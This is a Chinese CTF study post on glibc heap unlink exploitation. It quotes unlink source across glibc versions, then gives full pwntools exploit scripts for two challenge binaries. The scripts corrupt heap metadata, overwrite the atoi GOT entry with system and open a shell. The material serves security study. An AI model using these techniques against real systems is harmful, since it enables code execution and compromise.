Unlink

本文参考了CTF-wiki 和glibc 源码

原理:

我们在利用 unlink 所造成的漏洞时,其实就是借助 unlink 操作来达成修改指针的效果。

我们先来简单回顾一下 unlink 的目的与过程,其目的是把一个双向链表中的空闲块拿出来,然后和前后物理相邻的 free chunk 进行合并。其基本的过程如下

类似于我们学数据结构时学的从双向链表中删除一个节点的操作。

古老的 unlink

在最初 unlink 实现的时候,其实是没有对双向链表检查的,也就是说,没有以下的代码

//检查p的 size 是否等于物理相邻的后一个chunk的 pre_size
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size"); //检查p和其前后的chunk是否构成双向链表
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list"); //只有large bin 才进行次检查
//检查p和其前后的large chunk的nextsize域是否构成双向链表
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");

这里我们以 32 位为例,假设堆内存最初的布局是下面的样子

如果我们通过某种方式(比如溢出)将 nextchunk 的 fd 和 bk 指针修改为指定的值。则当我们free(Q)时

  1. glibc 判断这个块是 small chunk。
  2. 判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并。
  3. 判断后向合并,发现后一个 chunk 处于空闲状态,需要合并。
  4. 继而对 nextchunk 采取 unlink 操作。

那么 unlink 具体执行的效果是什么样子呢?我们用P来表示当前的chunk(也就是先被free的chunk),可以来分析一下

  • FD=P->fd = target addr -12
  • BK=P->bk = expect value
  • FD->bk = BK,即 *(target addr-12+12) = expect value
  • BK->fd = FD,即*(expect value +8) = target addr-12

看起来我们似乎可以通过 unlink 直接实现任意地址写入的目的,但是我们还是需要确保 expect value +8 地址具有可写的权限。

比如说我们将 target addr 设置为某个 got 表项,那么当程序调用对应的 libc 函数时,就会直接执行我们设置的值(expect value)处的代码。需要注意的是,expect value+8 处的值可能没有写入权限,执行BK->fd = FD回报错,需要想办法绕过。

当前的 unlink

我们刚才考虑的是没有检查的情况,但是一旦加上检查,就没有这么简单了。我们看一下对 fd 和 bk 的检查

//检查p和其前后的chunk是否构成双向链表
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");

此时

  • FD->bk = *(target addr - 12 +12)=*(target_addr) != p
  • BK->fd = *(expect value + 8) != p

那么我们上面所利用的修改 GOT 表项的方法就可能不可用了。

但是,如果我们使得 expect value+8 以及 target_addr 等于 p,那么我们就可以执行

  • expect value = p - 8

  • target addr = p

  • FD->bk = BK,即 *(p-12+12) = *p =p-8

  • BK->fd = FD,即 *(p-8 +8) = *p = p-12

这样可以通过检查,即改写了指针 p 的内容,将其指向了比自己低 12 的地址处。

此外,其实如果我们设置next chunk 的 fd 和 bk 均为 nextchunk 的地址也是可以绕过上面的检测的。但是这样的话,并不能达到修改指针内容的效果。

  • FD = p->fd = p

  • BK = p->bk = p

  • FD->bk = *(p +12) = p

  • BK->fd = *(p + 8) = p

不同版本的unlink对比

glib 2.23

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
//检查p和其前后的chunk是否构成双向链表
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else
{
FD->bk = BK;
BK->fd = FD;
//一般的unlink到这里就结束了,只有是large bin范围,才继续执行下面的代码。
//如果 p 在largebin的范围 且 p->fd_nextsize不为空
if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0))
{
//检查p和其前后的large chunk的nextsize域是否构成双向链表
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,"corrupted double-linked list (not small)",P, AV); if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else
{
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
}
else
{
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

glibc 2.27

#define unlink(AV, P, BK, FD)
{
//检查p的 size 是否等于物理相邻的后一个chunk的 pre_size
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size"); FD = P->fd;
BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list"); else
{
FD->bk = BK;
BK->fd = FD; if (!in_smallbin_range (chunksize_nomask (P)) && __builtin_expect (P->fd_nextsize != NULL, 0))
{
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)"); if (FD->fd_nextsize == NULL)
{
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else
{
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
}
else
{
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

glibc 2.29

static void unlink_chunk (mstate av, mchunkptr p)
{ if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size"); mchunkptr fd = p->fd;
mchunkptr bk = p->bk; if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list"); fd->bk = bk;
bk->fd = fd; if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)"); if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}

glibc 2.23

  1. 检查p和其前后的chunk是否构成双向链表

  2. 检查p和其前后的large chunk的nextsize域是否构成双向链表

glibc 2.27 2.29 新增加一下保护

  1. 检查p的 size 是否等于物理相邻的后一个chunk的 pre_size

为了加深印象,我们做几道题目

例子

hitcontraining_unlink

本题的环境是ubuntu 16,也就是说glibc版本为2.23

首先检查一下保护

增删改查,典型的堆题

IDA 分析

main函数,申请了一块空间,存了2个函数指针,分别是hello_message和goodbye_message

add存在off_by_null漏洞

edit 没有对输入的length做检查,导致堆溢出

delete 没有漏洞

show 展示所有item的内容

这里还有个后门?

初步分析这题目存在堆溢出,我们可以修改fd,bk的值。我们可以想到的是使用fastbin attack 但是为了练习unlink,我们这里使用unlink攻击

  1. fastbin attack利用后门
add(0x21,'AAAAA')#0  为了溢出修改1
add(0x18,'BBBBB')#1
add(0x18,'CCCC') #2
delete(2)
delete(1) #fastbin -> 1 -> 2 payload = 'A'*0x28+p64(0x21) #修改1的fd指针,指向main开始时申请的内存地址
edit(0,len(payload),payload)
add(0x18,'AAA')
backdoor = 0x0400D49
add(0x18,p64(0)+p64(backdoor)) #将其第二个指针修改为backdoor的地址.
p.sendlineafter('Your choice:','5')
  1. fastbin attack(house of force)劫持atoi_got

    add(0x21,'AAAAA')#0 为了溢出修改1
    add(0x18,'BBBBB')#1
    delete(1) #fastbin -> 1 payload = 'A'*0x28+p64(0x21)+p64(0x06020C0 - 0x8)
    edit(0,len(payload),payload) #fastbin -> 1 -> itemlist-8
    add(0x18,'AAA') add(0x18,p64(elf.got['atoi'])) #修改itemlist[0]->ptr 指针指向atoi_got
    show() #泄漏libc地址
    p.recvuntil('0 : ')
    atoi = u64(p.recv(6).ljust(8,'\x00'))
    libc_base = atoi - libc.symbols['atoi']
    system = libc_base + libc.symbols['system']
    edit(0,8,p64(system))#往atoi_got写入system地址
    p.sendlineafter('Your choice:','/bin/sh\x00')
  2. unlink

    #coding:utf-8
    from pwn import *
    context.log_level = 'debug'
    p = process('./bamboobox')
    elf = ELF('./bamboobox')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size,content):
    p.sendlineafter('Your choice:','2')
    p.sendlineafter('name:',str(size))
    p.sendafter('item:',content) def show():
    p.sendlineafter('Your choice:','1') def edit(idx,size,content):
    p.sendlineafter('Your choice:','3')
    p.sendafter('item:',str(idx))
    p.sendlineafter('name:',str(size))
    p.sendafter('item:',content) def delete(idx):
    p.sendlineafter('Your choice:','4')
    p.sendafter('item:',str(idx)) itemlist0_ptr = 0x6020C0+8 add(0x40,'A' * 8)#0
    add(0x80,'B' * 8)#1
    add(0x80,'C' * 8)#2 #这里我们绕过第一个检查 (检查p和其前后的chunk是否构成双向链表)
    fake_chunk = p64(0) + p64(0x41) #fake_chunk header
    fake_chunk += p64(itemlist0_ptr-0x18) + p64(itemlist0_ptr-0x10) #fake_chunk fd bk
    fake_chunk += 'C'*0x20
    fake_chunk += p64(0x40) # 1的presize
    fake_chunk += p64(0x90) # 1的size
    edit(0,0x80,fake_chunk) '''
    这里用p指代itemlist0_ptr
    FD = p -> fd = p - 0x18
    BK = p -> bk = p - 0x10 FD -> bk = p
    BK -> fd = p
    #通过检查
    FD -> bk = BK 相当于 *(p) = p-0x10
    BK -> fd = FD 相当于 *(p) = p-0x18
    我们把p的值改为了p的地址-0x18,使得p的值不再是堆的地址,而是itemlist附近的地址。
    '''
    delete(1) #前向合并,合并0中的fake_chunk 放入 unsorted bin 中 ,同时 itemlist0_ptr = &itemlist0_ptr -0x18 payload = p64(0) * 2
    payload += p64(0x40) + p64(elf.got['atoi']) #覆盖的itemlist[0]->ptr 为atoi_got
    edit(0,0x80,payload) show()
    p.recvuntil('0 : ')
    atoi = u64(p.recv(6).ljust(8,'\x00'))
    libc_base = atoi - libc.symbols['atoi']
    system = libc_base + libc.symbols['system']
    edit(0,8,p64(system))
    p.sendlineafter('Your choice:','/bin/sh\x00') p.interactive()

jarvisoj_level6_x64

首先检查保护

IDA分析

首先程序先malloc了一块地址,把一开始的地方填入0x100,0,剩下的全部清零

增删改查,典型的堆题

add函数,申请0x80字节大小对齐的堆块,然后在heaparray中做相应的记录

edit函数,如果输入的size与heaparray中记录的不同,这调用realloc函数。

show 没啥好说,就是heaparray中每个记录项打印出来

free函数,存在double free的漏洞,因为没有清零,且没有对heaparray中的inuse进行校验。

#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process('./freenote_x64')
elf = ELF('./freenote_x64')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def add(size,content):
p.sendlineafter('Your choice: ','2')
p.sendlineafter('note: ',str(size))
p.sendafter('note: ',content) def show():
p.sendlineafter('Your choice: ','1') def edit(idx,size,content):
p.sendlineafter('Your choice: ','3')
p.sendlineafter('number: ',str(idx))
p.sendlineafter('note: ',str(size))
p.sendafter('note: ',content) def delete(idx):
p.sendlineafter('Your choice: ','4')
p.sendlineafter('number: ',str(idx)) #----------leak heap and libc --------------#
add(0x80,'A'*0x80)#
add(0x80,'B'*0x80)#1
add(0x80,'C'*0x80)#
add(0x80,'D'*0x80)#3 delete(0)
delete(2) #在unsorted bin中形成双向链表 add(0x8,'A'*0x8)#0
add(0x8,'C'*0x8)#2 show()
p.recvuntil('AAAAAAAA')
heap = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x1940
print 'heap: '+hex(heap) p.recvuntil('CCCCCCCC')
libc_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x3c4b78
print 'libc_base: '+hex(libc_base)
#------------------unlink---------------------------------#
delete(0)
delete(1) #合并0,1块 chunk0_ptr = heap + 0x30 payload = p64(0)+p64(0x81)
payload += p64(chunk0_ptr-0x18)+p64(chunk0_ptr-0x10)
payload = payload.ljust(0x80,'\x00')
payload += p64(0x80)+p64(0x90)
payload = payload.ljust(0x100,'\x00')
add(0x100,payload)
delete(1) #double free 触发unlink #----------------改写 atoi_got -----------------#
payload = p64(0x2)+p64(0x1)+p64(0x8)+p64(elf.got['atoi'])
payload = payload.ljust(0x100,'\x00')
edit(0,0x100,payload)#改写heaparray[0]-> ptr 使其指向atoi_got edit(0,0x8,p64(libc_base + libc.symbols['system']))#改写atoi_got为system的值 p.sendlineafter('Your choice: ','/bin/sh\x00') p.interactive()

Unlink学习总结的更多相关文章

  1. ucos实时操作系统学习笔记——任务间通信(信号量)

    ucos实时操作系统的任务间通信有好多种,本人主要学习了sem, mutex, queue, messagebox这四种.系统内核代码中,这几种任务间通信机制的实现机制相似,接下来记录一下本人对核心代 ...

  2. Linux堆溢出漏洞利用之unlink

    Linux堆溢出漏洞利用之unlink 作者:走位@阿里聚安全 0 前言 之前我们深入了解了glibc malloc的运行机制(文章链接请看文末▼),下面就让我们开始真正的堆溢出漏洞利用学习吧.说实话 ...

  3. nodejs的第四天学习笔记

    一. ECMAScript6(es2015)es6语法 es6/es2015,在es5的基础上扩展了很多新的功能,我们要学习仅仅是es6中的部分常用新功能,这些功能在使用的时候一定要慎重,因为他们之中 ...

  4. 两千行PHP学习笔记

    亲们,如约而至的PHP笔记来啦~绝对干货! 以下为我以前学PHP时做的笔记,时不时的也会添加一些基础知识点进去,有时还翻出来查查. MySQL笔记:一千行MySQL学习笔记http://www.cnb ...

  5. 测试Flask应用_学习笔记

    源代码尽在我的github上面:https://github.com/521xueweihan 欢迎大家交流学习 """ setUp() 方法中会创建一个新的测试客户端并 ...

  6. linux内核数据结构学习总结

    目录 . 进程相关数据结构 ) struct task_struct ) struct cred ) struct pid_link ) struct pid ) struct signal_stru ...

  7. squid 学习笔记

    Squid学习笔记 1.安装前的配置 编译安装之前需要校正的参数主要包括File Descriptor和Mbuf Clusters. 1.File Descriptor 查看文件描述符的限制数目: u ...

  8. apue第四章学习总结

    apue第四章学习总结 4.1.若以stat函数去替换lstat函数,会发生: 原来的目录路径: $:~/workspace/apue2/include$ ls -l apue.h abc lrwxr ...

  9. PHP 开发 APP 接口 学习笔记与总结 - APP 接口实例 [3] 首页 APP 接口开发方案 ② 读取缓存方式

    以静态缓存为例. 修改 file.php line:11 去掉 path 参数(方便),加上缓存时间参数: public function cacheData($k,$v = '',$cacheTim ...

随机推荐

  1. Java基础语法:变量与常量

    一.命名规范 所有变量.常量.方法.类 都使用英文单词 命名,要见名知意. 所有变量.方法 的命名都使用小驼峰法 :首字母小写的驼峰命名法.例如:sampleText 类 的命名都使用大驼峰法 :首字 ...

  2. 第49天学习打卡(CSS 层次选择器 结构伪类选择器 属性选择器 美化网页元素 盒子模型)

    推荐书籍:码出高效: Java 开发手册 2.2 层次选择器 idea里代码规范是按:ctrl +alt+L快捷键 注释快捷键:ctrl+/ 1.后代选择器:在某个元素的后面 祖爷爷 爷爷 爸爸 你 ...

  3. Django的ORM封装接口详细

    [前言]Django的orm操作本质上会根据对接的数据库引擎,翻译成对应的sql语句:所有使用Django开发的项目无需关心程序底层使用的是MySQL.Oracle.sqlite....,如果数据库迁 ...

  4. JavaWeb实现用户登录注册功能实例代码(基于Servlet+JSP+JavaBean模式)

    一.Servlet+JSP+JavaBean开发模式(MVC)介绍 Servlet+JSP+JavaBean模式(MVC)适合开发复杂的web应用,在这种模式下,servlet负责处理用户请求,jsp ...

  5. MVCC多版本并发控制器

    在多个事务并发执行的时候,MVCC机制可以协调数据的可见性,事务的隔离级别就是建立在MVCC之上的: MVCC机制通过undo log链和ReadView机制来实现: undo log版本链: 在数据 ...

  6. go 在crontab里面运行报错 解决方案

    问题背景 你高高兴兴的写好了一个go脚本,放到你的服务器上,打算定期运行这个脚本,你打开crontab -e, 然后输入: */1 * * * * go run /root/test/main.go ...

  7. 《进击吧!Blazor!》系列入门教程 第一章 6.安全

    <进击吧!Blazor!>是本人与张善友老师合作的Blazor零基础入门教程视频,此教程能让一个从未接触过Blazor的程序员掌握开发Blazor应用的能力. 视频地址:https://s ...

  8. 解决:layUI数据表格+简单查询

    解决:layUI数据表格+简单查询 最近在用layui写项目,在做到用户查询时,发现在layui框架里只有数据表格,不能增加查询.于是自己摸索了一下,写个笔记记录一下. 我想要的效果: 1.定义查询栏 ...

  9. Java 集合框架 02

    集合框架· LinkedList 和 泛型 去除ArrayList中重复字符串元素 * A:案例演示 * 需求:ArrayList去除集合中字符串的重复值(相同内容的字符串) * 思路:创建新集合方式 ...

  10. 还在用crontab? 分布式定时任务了解一下

    前言 日常任务开放中,我们会有很多异步.批量.定时.延迟任务要处理,go-zero中有 go-queue,推荐使用 go-queue 去处理,go-queue 本身也是基于 go-zero 开发的,其 ...